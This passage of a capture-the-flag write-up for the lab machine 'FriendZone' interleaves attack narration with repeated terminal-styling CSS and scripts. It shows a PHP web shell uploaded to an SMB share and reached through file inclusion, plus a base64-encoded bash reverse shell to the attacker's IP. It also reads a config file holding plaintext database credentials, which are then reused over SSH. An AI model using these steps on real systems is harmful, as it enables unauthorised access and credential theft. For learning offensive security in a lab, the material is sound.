.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python -m http.server 80</span>
<span class="cmd-output">Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ve also tried hosting the web shell in an SMB share, and referenced it in <code class="language-plaintext highlighter-rouge">pagename</code> via a UNC path, but nothing happened as well. <a href="https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include">allow_url_include</a> is likely disabled on the server.</p>

<h3 id="smb-upload">SMB Upload:</h3>

<p>This actually reminded me that I have write access to one of the SMB shares. I’ll upload the web shell to <code class="language-plaintext highlighter-rouge">Development</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">smbclient -N \\\\friendzone.red\\Development</span>
<span class="cmd-output">
Try "help" to get a list of possible commands.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">smb: \&gt;</span></span> <span class="custom-cmd">put shell.php</span>

<span class="custom-output">putting file shell.php as \shell.php (0.0 kb/s) (average 0.0 kb/s)</span></pre>
  </div>
</div>

<p>Based on the SMB enumeration earlier, the server path for the share is likely <code class="language-plaintext highlighter-rouge">/etc/Development</code>, so I can reference the webshell via its full path. Visiting <code class="language-plaintext highlighter-rouge">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/etc/Development/shell&amp;cmd=id</code> results in this:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/friendzone/port443_webshell.png" alt="" /></p>

<p>That’s code execution!</p>

<p>I’ll now get a proper reverse shell. When executing over a web shell, I always prefer using base64-encoded payloads, as it avoids a lot of bad characters:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">echo -n '/bin/bash -i &gt;&amp; /dev/tcp/10.10.14.66/8001 0&gt;&amp;1' | base64</span>
<span class="cmd-output">L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY2LzgwMDEgMD4mMQ==</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll visit:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/etc/Development/shell&amp;cmd=echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjY2LzgwMDEgMD4mMQ==%20|%20base64%20-d%20|%20bash</pre>
  </div>
</div>

<p>The page hangs, but on my listener, there’s a shell:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/friendzone</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.26.47] 58898
bash: cannot set terminal process group (765): Inappropriate ioctl for device
bash: no job control in this shell
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">www-data@FriendZone</span>:<span class="linux-path">/var/www/admin</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=33(www-data) gid=33(www-data) groups=33(www-data)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<hr />
<h2 id="escalation-from-www-data">Escalation from <code class="language-plaintext highlighter-rouge">www-data</code>:</h2>
<h3 id="web-folder">Web Folder:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@FriendZone</span>:<span class="linux-path">/var/www</span><span class="linux-char">$</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 36
drwxr-xr-x  8 root root 4096 Sep 13  2022 .
drwxr-xr-x 12 root root 4096 Sep 13  2022 ..
drwxr-xr-x  3 root root 4096 Sep 13  2022 admin
drwxr-xr-x  4 root root 4096 Sep 13  2022 friendzone
drwxr-xr-x  2 root root 4096 Sep 13  2022 friendzoneportal
drwxr-xr-x  2 root root 4096 Sep 13  2022 friendzoneportaladmin
drwxr-xr-x  3 root root 4096 Sep 13  2022 html
-rw-r--r--  1 root root  116 Oct  6  2018 mysql_data.conf
drwxr-xr-x  3 root root 4096 Sep 13  2022 uploads</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>It has lots of folders, each belonging to a subdomain. Most of them are empty or contain nothing useful.</p>

<p>There’s also <code class="language-plaintext highlighter-rouge">mysql_data.conf</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ
</code></pre></div></div>
<p><br />
Database creds are present, but MySQL is not running on the box.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@FriendZone</span>:<span class="linux-path">/var/www</span><span class="linux-char">$</span></span> <span class="linux-bash">netstat -tulnp</span>

<span class="linux-output">(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 10.129.26.47:53         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::445                  :::*                    LISTEN      -                   
tcp6       0      0 :::139                  :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
udp    29952      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp     2240      0 10.129.26.47:53         0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:53            0.0.0.0:*                           -                   
udp    20928      0 0.0.0.0:68              0.0.0.0:*                           -                   
udp     6144      0 10.129.255.255:137      0.0.0.0:*                           -                   
udp     4608      0 10.129.26.47:137        0.0.0.0:*                           -                   
udp     6144      0 0.0.0.0:137             0.0.0.0:*                           -                   
udp     1280      0 10.129.255.255:138      0.0.0.0:*                           -                   
udp     7744      0 10.129.26.47:138        0.0.0.0:*                           -                   
udp     1280      0 0.0.0.0:138             0.0.0.0:*                           -</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>However, there’s a user called <code class="language-plaintext highlighter-rouge">friend</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">FriendZone</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">www-data@FriendZone</span>:<span class="linux-path">/var/www</span><span class="linux-char">$</span></span> <span class="linux-bash">cat /etc/passwd | grep -v nologin | grep -v false</span>

<span class="linux-output">root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
friend:x:1000:1000:friend,,,:/home/friend:/bin/bash</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>And the creds can be reused over SSH.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
